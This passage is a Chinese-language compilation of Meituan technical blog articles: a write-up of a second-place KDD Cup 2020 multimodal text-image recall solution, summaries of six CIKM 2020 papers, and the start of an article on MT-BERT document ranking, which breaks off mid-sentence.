https://www.4paradigm.com/competition/kddcup2020
https://tianchi.aliyun.com/competition/entrance/231786/rankingList
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图 1　KDD Cup 2020 Multimodalities Recall 比赛 TOP 10 榜单

跟其它电商公司一样，美团业务场景中除了文本，还存在图片、动图、视频等多种模

态信息。同时，美团搜索是典型的多模态搜索引擎，召回和排序列表中存在 POI、图

片、文本、视频等多种模态结果，如何保证 Query 和多模态搜索结果的相关性面临

着很大的挑战。鉴于多模态召回赛题（Multimodalities Recall）和美团搜索业务的挑

战比较类似，本着磨炼算法基本功和沉淀相关技术能力的目的，美团搜索与 NLP 组

建团队参与了该项赛事，最终提出的“基于 ImageBERT 和 LXMERT 融合的多模

态召回解决方案”最终获得了第二名（2/1433）（KDD Cup2020 Recall 榜单）。本文

将介绍多模态召回赛题的技术方案，以及多模态技术在美团搜索场景中的落地应用。

相关代码已经在 GitHub 上开源：https://github.com/zuokai/KDDCUP_2020_

MultimodalitiesRecall_2nd_Place。

2. 赛题简介

2019 年，全球零售电子商务销售额达 3.53 万亿美元，预计到 2022 年，电子零售收

https://tianchi.aliyun.com/competition/entrance/231786/rankingList
https://github.com/zuokai/KDDCUP_2020_MultimodalitiesRecall_2nd_Place
https://github.com/zuokai/KDDCUP_2020_MultimodalitiesRecall_2nd_Place
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入将增长至 6.54 万亿美元。如此快速增长的业务规模表明了电子商务行业的广阔发

展前景，但与此同时，这也意味着日益复杂的市场和用户需求。随着电子商务行业规

模的不断增长，与之相关的各个模态数据也在不断增多，包括各式各样的带货直播视

频、以图片或视频形式展示的生活故事等等。新的业务和数据都为电子商务平台的发

展带来了新的挑战。

目前，绝大多数的电子商务和零售公司都采用了各种数据分析和挖掘算法来增强其搜

索和推荐系统的性能。在这一过程中，多模态的语义理解是极为重要的。高质量的语

义理解模型能够帮助平台更好的理解消费者的需求，返回与用户请求更为相关的商

品，能够显著的提高平台的服务质量和用户体验。

在此背景下，今年的 KDD Cup 举办了多媒体召回任务（Modern E-Commerce 

Platform: Multimodalities Recall），任务要求参赛者根据用户的查询 Query，对候

选集合中的所有商品图片进行相关性排序，并找出最相关的 5 个商品图片。举例说明

如下：

如图 2 所示，用户输入的 Query 为：

leopard-print women's shoes

根据其语义信息，左侧图片与查询 Query 是相关的，而右侧的图片与查询 Query 是

不相关的。
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图 2　多模态匹配示意图

从示例可以看出，该任务是典型的多模态召回任务，可以转化为 Text-Image 

Matching 问题，通过训练多模态召回模型，对 Query-Image 样本对进行相关性打

分，然后对相关性分数进行排序，确定最后的召回列表。

2.1	比赛数据

本次比赛的数据来自淘宝平台真实场景下用户 Query 以及商品数据，包含三部分：

训练集（Train）、验证集（Val）和测试集（Test）。根据比赛阶段的不同，测试集又分

为 testA 和 testB 两个部分。数据集的规模、包含的字段以及数据样例如表 1 所示。

真实样本数据不包含可视化图片，示例图是为了阅读和理解的便利。

表 1　比赛数据集详情
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在数据方面，需要注意的点有：

 ● 训练集（Train）每条数据代表相关的 Query-Image 样本对，而在验证集

（Val）和测试集（Test）中，每条 Query 会有多张候选图片，每条数据表示需

要计算相关性的 Query-Image 样本对。

 ● 赛事主办方已经对所有图片通过目标检测模型（Faster-RCNN）提取了多个

目标框，并保存了目标框相应的 2048 维图像特征。因此，在模型中无需再考

虑图像特征的提取。

2.2	评价指标

本次比赛采用召回 Top 5 结果的归一化折损累计增益（Normalized Discounted 

Cumulative Gain，NDCG@5）来作为相关结果排序的评价指标。

3. 经典解法

本次比赛需要解决的问题可以转化为 Text-Image Matching 任务，即对每一个

Query-Image 样本对进行相似性打分，进而对每个 Query 的候选图片进行相关度

排序，得到最终结果。多模态匹配问题通常有两种解决思路：

1. 将不同模态数据映射到不同特征空间，然后通过隐层交互这些特征学习到一

个不可解释的距离函数，如图 3 (a) 所示。

2. 将不同模态数据映射到同一特征空间，从而计算不同模态数据之间的可解释

距离（相似度），如图 3 (b) 所示。
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图 3　常用的多模态匹配解决思路

一般而言，同等条件下，由于图文特征组合后可以为模型隐层提供更多的交叉特征信

息，因而左侧的模型效果要优于右侧的模型，所以在后续的算法设计中，我们都是围

绕图 3 左侧的解决思路展开的。

随着 Goolge BERT 模型在自然语言处理领域的巨大成功，在多模态领域也有越来越

多的研究人员开始借鉴 BERT 的预训练方法，发展出融合图片 / 视频（Image/Vid-

eo）等其他模态的 BERT 模型，并成功应用与多模态检索、VQA、Image Caption

等任务中。因此，考虑使用 BERT 相关的多模态预训练模型（Vision-Language 

Pre-training, VLP），并将图文相关性计算的下游任务转化为图文是否匹配的二分类

问题，进行模型学习。

目前，基于 Transformer 模型的多模态 VLP 算法主要分为两个流派：

 ● 单流模型，在单流模型中文本信息和视觉信息在一开始便进行了融合，直接一

起输入到 Encoder（Transformer）中。典型的单流模型如 ImageBERT [3]，

VisualBERT [9]、VL-BERT [10] 等。
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 ● 双流模型，在双流模型中文本信息和视觉信息一开始先经过两个独立的

Encoder（Transformer）模块，然后再通过 Cross Transformer 来实现不同

模态信息的融合。典型的双流模型如 LXMERT [4]，ViLBERT [8] 等。

4. 我们的方法：Transformer-Based Ensembled Models TBEM

本次比赛中，在算法方面，我们选用了领域最新的基于 Transformer 的 VLP 算法构

建模型主体，并加入了 Text-Image Matching 作为下游任务。除了构建模型以外，

我们通过数据分析来确定模型参数，构建训练数据。在完成模型训练后，通过结果后

处理策略来进一步提升算法效果。整个算法的流程如下图 4 所示：

图 4　算法流程图

接下来对算法中的每个环节进行详细说明。

4.1	数据分析&处理

数据分析和处理主要基于以下三个方面考虑：

 ● 正负样本构建：由于主办方提供的训练数据中，只包含了相关的 Query-Im-

age 样本对，相当于只有正样本数据，因此需要通过数据分析，设计策略构建

负样本。
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 ● 模型参数设定：在模型中，图片目标框最大数量、Query 文本最大长度等参数

需要结合训练数据的分布来设计。

 ● 排序结果后处理：通过分析 Query 召回的图片数据分布特点，确定结果后处理

策略。

常规的训练数据生成策略为：对于每一个 Batch 的数据，按照 1:1 的比例选择正负

样本。其中，正样本为训练集（Train）中的原始数据，负样本通过替换正样本中的

Query 字段产生，替换的 Query 是按照一定策略从训练集（Train）中获取。

为了提升模型学习效果，我们在构建负样本的过程中进行了难例挖掘，在构造样本

时，通过使正负样本的部分目标框包含同样的类别标签，从而构建一部分较为相似的

正负样本，以提高模型对于相似的正负样本的区分度。

难例挖掘的过程如下图 5 所示，左右两侧的相关样本对都包含了“shoes”这一类别

标签，使用右侧样本对的 Query 替换左侧图片的 Query，从而构建难例。通过学习

这类样本，能够提高模型对于不同类型“shoes”描述的区分度。

图 5　难例挖掘过程示意图
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具体而言，负样本构建策略如表 2 所示：

表 2　负样本 Query 抽取策略

其次，通过对训练数据中目标框的个数以及 Query 长度的分布情况分析，确定模型

的相关参数。图片中目标框的最大个数设置为 10，Query 文本的最大单词个数为

20。后处理策略相关的内容，我们将会在 4.3 部分进行详细的介绍。

4.2	模型构建与训练

4.2.1	模型结构

基于上文中对多模态检索领域现有方法的调研，在本次比赛中，我们分别从单流模型

和双流模型中各选择了相应 SOTA 的算法，即 ImageBERT 和 LXMERT。具体而

言，针对比赛任务，两种算法分别进行了如下改进：

LXMERT 模型方面主要的改进包括：

 ● 图片特征部分（Visual Feature）融入了目标框类别标签所对应的文本特征。

 ● Text-Image Matching Task 中使用两层全连接网络进行图片和文本融合

特征的二分类，其中第一个全连接层之后使用 GeLU[2] 进行激活，然后通过

LayerNorm[1] 进行归一化处理。

 ● 在第二个全连接层之后采用 Cross Entropy Loss 训练网络。

改进后的模型结构如下图 6 所示：
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图 6　比赛中使用的 LXMERT 模型结构

特征网络的预训练权重使用了 LXMERT 所提供权重文件，下载地址为：https://

github.com/airsplay/lxmert。

ImageBERT： 本 方 案 中 一 共 用 到 了 两 个 版 本 的 ImageBERT 模 型， 分 别 记 为

ImageBERT A 和 ImageBERT B，下面会分别介绍改进点。

ImageBERT	A：基于原始 ImageBERT 的改进有以下几点。

 ● 训练任务：不对图片特征和 Query 的部分单词做掩码，仅训练相关性匹配任

务，不进行 MLM 等其他任务的训练。

 ● Segment Embedding：将 Segment Embedding 统一编码为 0，不对图片

特征和 Query 文本单独进行编码。

 ● 损 失 函 数： 在 [CLS] 位 输 出 Query 与 Image 的 匹 配 关 系， 通 过 Cross 

Entropy Loss 计算损失。

依 据 上 述 策 略， 选 用 BERT-Base 模 型 权 重 对 变 量 初 始 化， 在 此 基 础 上 进 行

FineTune。其模型结构如下图 7 所示：

https://github.com/airsplay/lxmert
https://github.com/airsplay/lxmert
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图 7　比赛中使用的 ImageBert 模型结构

ImageBERT	B： 和 ImageBERT A 的 不 同 点 是 在 Position Embedding 和

Segment Embedding 的处理上。

 ● Position	Embedding： 去 掉 了 ImageBert 中 图 像 目 标 框 位 置 信 息 的

Position Embedding 结构。

 ● Segment	Embedding：文本的 Segment Embedding 编码为 0，图片特

征的 Segment Embedding 编码为 1。

依据上述策略，同样选用 BERT-Base 模型权重对变量初始化，在此基础上进行

FineTune。

三种模型构建中，共性的创新点在于，在模型的输入中引入了图片目标框的标签信

息。而这一思路同样被应用在了微软 2020 年 5 月份最新的论文 Oscar [7] 中，但该

文的特征使用方式和损失函数设置与我们的方案不同。

4.2.2	模型训练

使用节 4.1 的数据生成策略构建训练数据，分别对上述三个模型进行训练，训练后的

模型在验证集（Val）上的效果如表 3 所示。
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表 3　初步训练后模型在验证集（Val）上的效果

4.2.3	利用损失函数进行模型微调

完成初步的模型训练后，接下来使用不同的损失函数对模型进行进一步的微调，主要

有 AMSoftmax Loss [5]、Multi-Similarity Loss [6]。

 ● AMSoftmax Loss 通过权值归一化和特征归一化，在缩小类内距离的同时增

大类间距离，从而提高了模型效果。

 ● Multi-Similarity Loss 将深度度量学习转化为样本对的加权问题，采用采样和

加权交替迭代的策略实现了自相似性，负相对相似性和正相对相似性三种，能

够促使模型学习得到更好的特征。

在我们的方案中所采用的具体策略如下：

 ● 对于 LXMERT，在特征网络后加入 Multi-Similarity Loss，与 Cross Entropy 

Loss 组成多任务学习网络，进行模型微调。

 ● 对于 ImageBERT A，使用 AMSoftmax Loss 代替 Cross Entropy Loss。

 ● 对于 ImageBERT B，损失函数处理方式和 LXMERT 一致。

经过微调，各模型在验证集（Val）上的效果如表 4 所示。
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表 4　损失函数对模型微调 -- 验证集（Val）上的效果

4.2.4	通过数据过采样进行模型微调

为了进一步提高模型效果，本方案根据训练集（Train）中 Query 字段与测试集

（testB）中的 Query 字段的相似程度，对训练集（Test）进行了过采样，采样规则

如下：

 ● 对 Query 在测试集（testB）中出现的样本，或与测试集（testB）中的 Query

存在包含关系的样本，根据其在训练集（Train）出现的次数，按照反比例进行

过采样。

 ● 对 Query 未在测试集（testB）中出现的样本，根据两个数据集 Query 中重复

词的个数，对测试集（testB）每条 Query 抽取重复词数目 Top10 的训练集

（Train）样本，每条样本过采样 50 次。

数据过采样后，分别对与上述的三个模型按照如下方案进行微调：

 ● 对于 LXMERT 模型，使用过采样得到的训练样本对 LXMERT 模型进行进一

步微调。

 ● 对于 ImageBERT A 模型，本方案从训练集（Train）选出 Query 中单词和测

试集 (Test)Query 存在重合的样本对模型进行进一步微调。

 ● 对于 ImageBERT B 模型，考虑到训练集（Train）中存在 Query 表达意思相
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同，但是单词排列顺序不同的情况，类似”sporty men’s high-top shoes”

和”high-top sporty men’s shoes”，为了增强模型的鲁棒性，以一定概率

对 Query 的单词（Word）进行随机打乱，对 ImageBERT B 模型进行进一步

微调。

训练后各模型在验证集（Val）上的效果如表 5 所示：

表 5　过采样后验证集（Val）集上的效果

为了充分利用全部有标签的数据，本方案进一步使用了验证集（Val）对模型进行

FineTune。为了避免过拟合，最终提交结果只对 ImageBERT A 模型进行了上述

操作。

在 Query-Image 样本对的相关性的预测阶段，本方案对测试集 (testB)Query 所包

含的短句进行统计，发现其中“sen department” 这一短句在测试集（testB）中大

量出现，但在训练集（Train）中从未出现，但出现过“forest style”这个短句。为了

避免这组同义短句对模型预测带来的影响，选择将测试集 (testB) 中 Query 的“sen 

department”替换为“forest style”，并且利用 ImageBERT A 对替换后的测试集

进行相关性预测，结果记为 ImageBERT A’。
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4.3	模型融合和后处理

经过上述的模型构建、训练以及预测，本方案共得到了 4 个样本对相关性得分的文

件。接下来对预测结果进行 Ensemble，并按照一定策略进行后处理，得到 Query

相应的 Image 候选排序集合，具体步骤如下 :

（1）在 Ensemble 阶段，本方案选择对不同模型所得相关性分数进行加权求和，作

为 每 一 个 样 本 对 的 最 终 相 关 性 得 分， 各 模 型 按 照 LXMERT、ImageBERT A、

ImageBERT B、ImageBERT A’的顺序的权值为 0.3:0.2:0.3:0.2，各模型的权重

利用网格搜索的方式确定，通过遍历 4 个模型的不同权重占比，每个模型权重占比从

0 到 1，选取在 valid 集上效果最优的权重，进行归一化，作为最终权重。

（2）在得到所有 Query-Image 样本对的相关性得分之后，接下来对 Query 所对应

的多张候选图片进行排序。验证集（Val）和测试集（testB）的数据中，部分 Image

出现在了多个 Query 的候选样本中，本方案对这部分样本做了进一步处理：

a. 考虑到同一 Image 通常只对应一个 Query，因此认为同一个 Image 只与相关性

分数最高的 Query 相关。使用上述策略对 ImageBERT B 模型在验证集（Val）上所

得结果进行后处理，模型的 NDCG@5 分数从 0.7098 提升到了 0.7486。

b. 考虑到同一 Image 对应的多条 Query 往往差异较小，其语义也是比较接近的，这

导致了训练后的模型对这类样本的区分度较差，较差区分度的相关性分数会一定程度

上引起模型 NDCG@5 的下降。针对这种情况我们采用了如下操作：

 ● 如果同一 Query 的相关性分数中，Top1 Image 和 Top2 Image 相关性分数之

差大于一定阈值，计算 NDCG@5 时则只保留 Top 1 所对应的 Query-Im-

age 样本对，删除其他样本对。

 ● 相反的，如果 Top1 Image 和 Top2 Image 相关性分数之差小于或等于一定

阈值，计算 NDCG@5 时，删除所有包含该 Image 的样本对。

使用上述策略对 ImageBERT B 的验证集（Val）结果进行后处理，当选定阈值为

0.92 时，模型的 NDCG@5 分数从 0.7098 提升到了 0.8352。
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可以看到，采用策略 b 处理后，模型性能得到了显著提升，因此，本方案在测试集

（testB）上，对所有模型 Ensemble 后的相关性得分采用了策略 b 进行处理，得到了

最终的相关性排序。

5. 多模态在美团搜索的应用

前面提到过，美团搜索是典型的多模态搜索场景，目前多模态能力在搜索的多个场景

进行了落地。介绍具体的落地场景前，先简单介绍下美团搜索的整体架构，美团整体

搜索架构主要分为五层，分别为：数据层、召回层、精排层、小模型重排层以及最终

的结果展示层，接下来按照搜索的五层架构详细介绍下搜索场景中多模态的落地。

数据层

多模态表示：基于美团海量的文本和图像 / 视频数据，构建平行语料，进行 Image-

BERT 模型的预训练，训练模型用于提取文本和图片 / 视频向量化表征，服务下游召

回 / 排序任务。

多模态融合：图片 / 视频数据的多分类任务中，引入相关联的文本，用于提升分类标

签的准确率，服务下游的图片 / 视频标签召回以及展示层按搜索 Query 出图。

召回层

多模态表示 & 融合：内容搜索、视频搜索、全文检索等多路召回场景中，引入图片 / 视

频的分类标签召回以及图片 / 视频向量化召回，丰富召回结果，提升召回结果相关性。

精排层&小模型重排

多模态表示 & 融合：排序模型中，引入图片 / 视频的向量化 Embedding 特征，以及

搜索 Query 和展示图片 / 视频的相关性特征、搜索结果和展示图片 / 视频的相关性特

征，优化排序效果。

展示层

多模态融合：图片 / 视频优选阶段，引入图片 / 视频和 Query 以及和搜索结果的相关
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性信息，做到按搜索 Query 出图以及搜索结果出图，优化用户体验。

图 8　多模态在美团搜索的落地场景

6. 总结

在本次比赛中，我们构建了一种基于 ImageBERT 和 LXMERT 的多模态召回模型，

并通过数据预处理、结果融合以及后处理策略来提升模型效果。该模型能够细粒度的

对用户查询 Query 的相关图片进行打分排序，从而得到高质量的排序列表。通过本

次比赛，我们对多模态检索领域的算法和研究方向有了更深的认识，也借此机会对前

沿算法的工业落地能力进行了摸底测试，为后续进一步的算法研究和落地打下了基

础。此外，由于本次比赛的场景与美团搜索与 NLP 部的业务场景存在一定的相似性，

因此该模型未来也能够直接为我们的业务赋能。

目前，美团搜索与 NLP 团队正在结合多模态信息，比如文本、图像、OCR 等，开展

MT-BERT 多模态预训练工作，通过融合多模态特征，学习更好的语义表达，同时
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也在尝试落地更多的下游任务，比如图文相关性、向量化召回、多模态特征表示、基

于多模态信息的标题生成等。
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CIKM	2020	|	一文详解美团 6篇精选论文

作者：搜索与 NLP 中心

CIKM 是信息检索、知识管理和数据库领域中顶级的国际学术会议，自 1992 年以

来，CIKM 成功汇聚上述三个领域的一流研究人员和开发人员，为交流有关信息与知

识管理研究、数据和知识库的最新发展提供了一个国际论坛。大会的目的在于明确未

来知识与信息系统发展将面临的挑战和问题，并通过征集和评估应用性和理论性强的

顶尖研究成果以确定未来的研究方向。

今年的 CIKM 大会原计划 10 月份在爱尔兰的 Galway 举行，由于疫情原因改为在线

举行。美团 AI 平台 / 搜索与 NLP 部 /NLP 中心 / 知识图谱组共有六篇论文（其中 4

篇长文，2 篇短文）被国际会议 CIKM 2020 接收。

这些论文是美团知识图谱组与西安交通大学、中国科学院大学、电子科技大学、中国

人民大学、西安电子科技大学、南洋理工大学等高校院所的科研合作成果，是在多模

态知识图谱、MT-BERT、Graph Embedding 和图谱可解释性等方向上的技术沉淀

和应用。希望这些论文能帮助到更多的同学学习成长。

01 《Query-aware Tip Generation for Vertical Search》

| 本论文系美团知识图谱组与西安交通大学郝俊美同学、中国科学院大学李灿佳同学、

西安电子科技大学汪自力同学的合作论文。

论文下载

可解释性理由（又称推荐理由）是在搜索结果页和发现页（场景决策、必吃榜单等）展

示给用户进行亮点推荐的一句自然语言文本，可以看作是真实用户评论的高度浓缩，

为用户解释召回结果，挖掘商户特色，吸引用户点击，并对用户进行场景化引导，辅

助用户决策从而优化垂直搜索场景中的用户体验。

https://www.cikm2020.org/
https://dl.acm.org/doi/abs/10.1145/3340531.3412740
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现有的文本生成工作大部分并未考虑用户的意图信息，这限制了生成式推荐理由在场

景化搜索中的落地。本文提出一种 Query 感知的推荐理由生成框架，将用户 Query

信息分别嵌入到生成模型的编码和解码过程中，根据用户 Query 不同会自动生成适

配不同场景的个性化推荐理由。本文分别对 Transformer 和递归神经网络（RNN）

两种主流模型结构进行了改造。基于 Transformer 结构，本文通过改进 Self-At-

tention 机 制 来 引 入 Query 信 息， 包 括 在 Encoder 引 入 Query-aware Review 

Encoder 使得在评论编码最初阶段就开始考虑 Query 相关的信息，在 Decoder 端

引入 Query-aware Tip Decoder 使得在评论编码最后阶段考虑 Query 相关的信息。
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基于 RNN 结构，在 Encoder 端通过 Selective Gate 方式过滤掉 Query 无关信息，

选择原始评论中跟 Query 相关的信息进行编码，并在解码器端将 Query 表示向量加

入 Attention 机制的 Context 向量计算，指导解码的过程，一定程度上解决了生成方

法解码不可控的问题，从而生成 Query 个性化的推荐理由。

在公开数据集和美团业务数据集上分别进行实验，该论文提出的方法优于现有方法。

该论文提出的算法已应用上线，目前在美团的搜索、推荐、类目筛选和榜单等多场景

落地。
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02 《TABLE: A Task-Adaptive BERT-based ListwisE 

Ranking Model for Document Retrieval》

| 本论文系美团知识图谱组与中国科学院软件研究所唐弘胤同学、金蓓弘老师的合作

论文。

论文下载

近年来，为了提高模型的自然语言理解能力，越来越多的 MRC 和 QA 数据集开始

涌现。但是，这些数据集或多或少存在一些缺陷，比如数据量不够、依赖人工构造

Query 等。针对这些问题，微软提出了一个基于大规模真实场景数据的阅读理解数据

集 MS MARCO （Microsoft Machine Reading Comprehension）。该数据集基于

Bing 搜索引擎和 Cortana 智能助手中的真实搜索查询产生，包含 100 万查询、800

万文档和 18 万人工编辑的答案。

基于 MS MARCO 数据集，微软提出了两种不同的任务：一种是给定问题，检索所

有数据集中的文档并进行排序，属于文档检索和排序任务；另一种是根据问题和给定

的相关文档生成答案，属于 QA 任务。在美团业务中，文档检索和排序算法在搜索、

广告、推荐等场景中都有着广泛的应用。此外，直接在所有候选文档上进行 QA 任务

的时间消耗是无法接受的，QA 任务必须依靠排序任务筛选出排名靠前的文档，而排

序算法的性能直接影响到 QA 任务的表现。基于上述原因，我们主要将精力放在基于

MS MARCO 的文档检索和排序任务上。

自 2018 年 10 月 MACRO 文档排序任务发布后，迄今吸引了包括阿里巴巴达摩院、

Facebook、微软、卡内基梅隆大学、清华等多家企业和高校的参与。在美团的预训

练 MT-BERT 平台上，我们提出了一种针对该文本检索任务的 BERT 算法方案，称

之为 TABLE。值得注意的是，该论文提出的 TABLE 模型在信息检索领域的权威评

测微软 MARCO 排行榜上首个超过 0.4% 的模型。

https://dl.acm.org/doi/abs/10.1145/3340531.3412071
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如上图所示，该论文提出了一种基于 BERT 的文档检索模型 TABLE。在 TABLE 的

预训练阶段，使用了一种领域自适应策略。在微调阶段，该论文提出了两阶段的任务

自适应训练过程，即查询类型自适应的 Pointwise 微调以及 List 微调。实验证明这

种任务自适应过程使模型更具鲁棒性。这项工作可以探索查询和文档之间更丰富的匹

配特性。因此，该论文显著提升了 BERT 在文档检索任务中的效果。随后在 TABLE

的基础上我们又提出了两个解决 OOV（Out of Vocabulary）错误匹配的方法：精准

匹配方法和词还原机制，进一步提升了模型的效果，我们把这个改进后的模型称为

DR-BERT。DR-BERT 的细节详见我们的技术博客： 《MT-BERT 在文本检索任务

中的实践》。

03 《Multi-Modal Knowledge Graphs for Recommender 

Systems》

| 本论文系美团知识图谱组与中国科学院软件研究所唐弘胤同学、金蓓红老师的合作

论文。

论文下载

随着知识图谱技术发展，其结构化数据被成功的应用在了一系列下游应用当中。在推

荐系统方向中，结构化的图谱数据可以利用目标商品更加全面的辅助信息，通过图谱

关联进行信息传播，从而有效地对目标商品进行表征建模，缓解推荐系统中用户行为

稀疏及冷启动等问题。近年来，已经有不少研究工作利用图谱路径特征、基于图嵌入

https://mp.weixin.qq.com/s/5HZULHPI3-HJypvAMXEOcQ
https://mp.weixin.qq.com/s/5HZULHPI3-HJypvAMXEOcQ
https://dl.acm.org/doi/abs/10.1145/3340531.3411947
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的表征学习等方式，成功的将图谱数据和推荐系统进行结合，使得推荐系统准确率得

到提升。

在已有的图谱和推荐系统结合的工作当中，人们往往仅关注于图谱节点和节点关系，

而没有利用多模态知识图谱中的各个模态的数据进行建模。多模态数据包括图像模态

如电影的剧照，文本模态如商户的评论等。这些多模态数据同样可以通过知识图谱图

关系进行传播和泛化，并为下游的推荐系统带来高价值的信息。然而，由于多模态知

识建模往往是不同模态的辅助信息关系，而非传统图谱中三元组所代表的语义关联关

系，故传统的图谱建模方式并不能很好地对多模态知识图谱进行建模。

因此，本文针对多模态知识图谱的特点提出了 MKGAT 模型，首次提出利用多模态

知识图谱的结构化信息提升下游推荐系统的预测准确度。MKGAT 的整体模型框架如

下图所示：

在 MKGAT 模型中，多模态图谱的嵌入表示学习主要分为三个主要部分：1）我们首

先利用多模态实体编码模块（MKG Entity Encoder），将不同类型的输入数据（图像、

文本、标签等）编码为高阶隐向量；2）接下来，我们基于多模态图注意力机制模块

（MKG Attention Layer），利用实体节点周围的节点（包括多模态及实体节点）来为

该节点的刻画提供相应的信息；3）在利用注意力机制综合了多模态信息之后，再利用

传统 h+r=t 的训练方法进行图谱嵌入表示学习。
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在接入下游推荐系统模型时，我们同样是复用了多模态实体编码和多模态图注意力机

制模块对目标实体进行表征，接入推荐系统模型当中。通过上述方法，我们在美团的

美食搜索场景和公开数据集 MovieLens 这两个真实数据集上进行了详尽的实验，结

果表明在这两个场景中 MKGAT 显著地提高了推荐系统的质量。

04 《S^3-Rec: Self-Supervised Learning for 

Sequent ia l  Recommendat ion with  Mutual 

Information Maximization》

| 本论文系美团知识图谱组与中国人民大学周昆同学、王辉同学、朱余韬同学、赵鑫

老师、文继荣老师的合作论文。

论文下载

序列推荐是指利用用户长期的交互历史序列，预测用户未来交互的商品，其通过建模

序列信息来增强给用户推荐的准确度。现有的序列推荐模型利用商品预测这一任务来

进行模型的参数训练，但是也受限于唯一的训练任务，该类模型很容易受数据稀疏问

题影响；它虽然优化的是最终的推荐目标，但是并没有充分地建模上下文数据中的潜

在关系，更没有利用该部分信息帮助序列推荐模型。

为解决以上问题，本文提出了一个新模型 S^3-Rec，它基于自注意力网络结构，采

https://dl.acm.org/doi/abs/10.1145/3340531.3411954
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用自监督学习策略进行表示学习，进而优化序列化推荐任务。该模型基于四种特殊的

自监督任务，这些任务分别对属性、商品、自序列和原始序列之间的潜在关系进行学

习。由于以上四种信息表示输入数据的四种不同信息粒度视角，本文采用互信息最大

化策略来建模这四种信息的潜在关系，进而强化该类数据的表示。本文在包括美团场

景的六个真实数据集上进行了大量的实验，以证明该论文提出方法比现有的序列推荐

先进方法的优越性，其中在有限的训练数据场景下该模型依旧能保持较好的表现。
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05《Leveraging Historical Interaction Data for 

Improving Conversational Recommender System》

| 本论文系美团知识图谱组与中国人民大学周昆同学、王辉同学、赵鑫老师、文继荣

老师的合作论文。

论文下载

近年来，会话推荐系统已经成为了一项重要的研究方向，它在现实生活中也有很多的

应用。一个会话推荐系统需要能够通过与用户的对话来了解用户的意图，进而给出合

适的推荐，因此它包含一个会话模块和推荐模块。现有的会话推荐系统往往基于学习

好的用户表示来完成推荐，这需要对对话内容进行编码。但是实际上仅仅使用对话数

据难以准确地预测用户的偏好信息，本论文期望能够通过利用用户的历史交互序列，

帮助完成推荐。

基于该设想，会话推荐系统需要同时考虑用户的历史交互序列和会话数据，本论文提

出了一种新的预训练方法，通过预训练方法将基于商户的偏好序列（来自历史交互数

据）和基于商户属性的偏好序列（来自对话数据）结合起来，提升了会话推荐系统的效

果。为了进一步提高性能，该论文还设计了一种负样本生成器，以产生高质量的负样

https://dl.acm.org/doi/10.1145/3340531.3412098
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本来帮助训练。该论文在两个真实数据集上进行了实验，并证明了该方法对改进会话

推荐系统是有效的。

06 《Structural relationship representation learning 

with graph embedding for personalized product 

search》

| 本论文系美团知识图谱组与南洋理工大学刘尚同学、丛高老师的合作论文。

论文下载

个性化在商品搜索中非常重要，用户的偏好在很大程度上影响着用户的购买决策。例

如，当一个年轻用户在电子商务平台上搜索一件“宽松 T 恤”时，他更有可能购买他

感兴趣、有品牌的时尚款式或衬衫。个性化商品搜索（PPS）的目的是针对给定的查

询生成用户特有的商品建议，在很多电子商务平台中起着至关重要的作用。

https://dl.acm.org/doi/abs/10.1145/3340531.3411936
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在这项工作中，我们利用从用户 - 查询 - 商品中学习的逻辑结构表示，自然地保留用

户 / 查询 / 商品之间的协作信号和交互信息在逻辑路径上，以改进个性化的商品搜索。

我们把这些逻辑结构称为“Conjunctive Graph Pattern”。例如，如图 1 所示，有

三个关键模式。注意，当分支有三个或更多分支时，我们可以随机抽样其中的两个分

支，得到以下模式：

具体来说，我们提出一个新方法：基于逻辑结构表示学习的图嵌入模型（GraphL-

SR）。GraphLSR 的概念优势在于，它是一个基于嵌入的框架，可以有效地学习逻辑

结构的表示，以及用户（查询或商品）在几何操作中的近似关系，并将其整合到个性

化的商品搜索中。它背后的关键思想是，我们学习了如何将三种类型的连接图模式嵌

入到低维空间中，通过嵌入图来增强个性化商品搜索，框架如图 2 所示，它由两个主

要组件组成：图嵌入模块和个性化搜索模块。图 2 下方的图嵌入模块利用设计的三种

连接图模式学习嵌入节点进行逻辑表示学习，也便于学习用户（查询或商品）之间的
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相似度。然后将表示信息引入个性化搜索模块。

个性化搜索模块以用户、查询、商品以及从图嵌入中学习的表示作为输入，使用多层

感知器（MLP）集成相应的信息。将提取出来的用户、查询和商品的短特征和密集特

征分别输入到 MLP 网络中，学习用户特有的查询代表和用户特有的商品表示，然后

我们将它们一起输入另一个 MLP 来计算预测的概率分数。
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表 3 比较了 GraphLSR 与四种个性化搜索方法在个性化商品搜索任务中的 MRR、

NDCG@10 和 Hit@10 方面的性能：

总结

以上是搜索与 NLP 部知识图谱组在多模态知识图谱、MT-BERT、Graph-Em-

bedding、图谱可解释性上所做的一些研究工作，论文成果也是我们在实际工作场景

中遇到并解决的具体问题，大部分工作已经在实际业务场景如内容搜索、商品搜索、

推荐理由等项目上落地，并取得不错的业务收益。美团 AI 平台 / 搜索与 NLP 中心一

直致力于通过产研结合，不断将学术成果转化为技术生产力，同时也欢迎更多有志之

士加入我们团队。
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MT-BERT在文本检索任务中的实践

作者：兴武

背景

提高机器阅读理解（MRC）能力以及开放领域问答（QA）能力是自然语言处理

（NLP）领域的一大重要目标。在人工智能领域，很多突破性的进展都基于一些大型公

开的数据集。比如在计算机视觉领域，基于对 ImageNet 数据集研发的物体分类模型

已经超越了人类的表现。类似的，在语音识别领域，一些大型的语音数据库，同样使

得了深度学习模型大幅提高了语音识别的能力。

近年来，为了提高模型的自然语言理解能力，越来越多的 MRC 和 QA 数据集开始

涌现。但是，这些数据集或多或少存在一些缺陷，比如数据量不够、依赖人工构造

Query 等。针对这些问题，微软提出了一个基于大规模真实场景数据的阅读理解数

据集 MS MARCO （Microsoft Machine Reading Comprehension）[1]。该数据集

基于 Bing 搜索引擎和 Cortana 智能助手中的真实搜索查询产生，包含 100 万查询，

800 万文档和 18 万人工编辑的答案。基于 MS MARCO 数据集，微软提出了两种不

同的任务：一种是给定问题，检索所有数据集中的文档并进行排序，属于文档检索和

排序任务；另一种是根据问题和给定的相关文档生成答案，属于 QA 任务。在美团业

务中，文档检索和排序算法在搜索、广告、推荐等场景中都有着广泛的应用。此外，

直接在所有候选文档上进行 QA 任务的时间消耗是无法接受的，QA 任务必须依靠排

序任务筛选出排名靠前的文档，而排序算法的性能直接影响到 QA 任务的表现。基于

上述原因，我们主要将精力放在基于 MS MARCO 的文档检索和排序任务上。

自 2018 年 10 月 MACRO 文档排序任务发布后，迄今吸引了包括阿里巴巴达摩院、

Facebook、微软、卡内基梅隆大学、清华等多家企业和高校的参与。在美团的预训

练 MT-BERT 平台 [14] 上，我们提出了一种针对该文本检索任务的 BERT 算法方案，

称 之 为 DR-BERT（Enhancing BERT-based Document Ranking Model with 
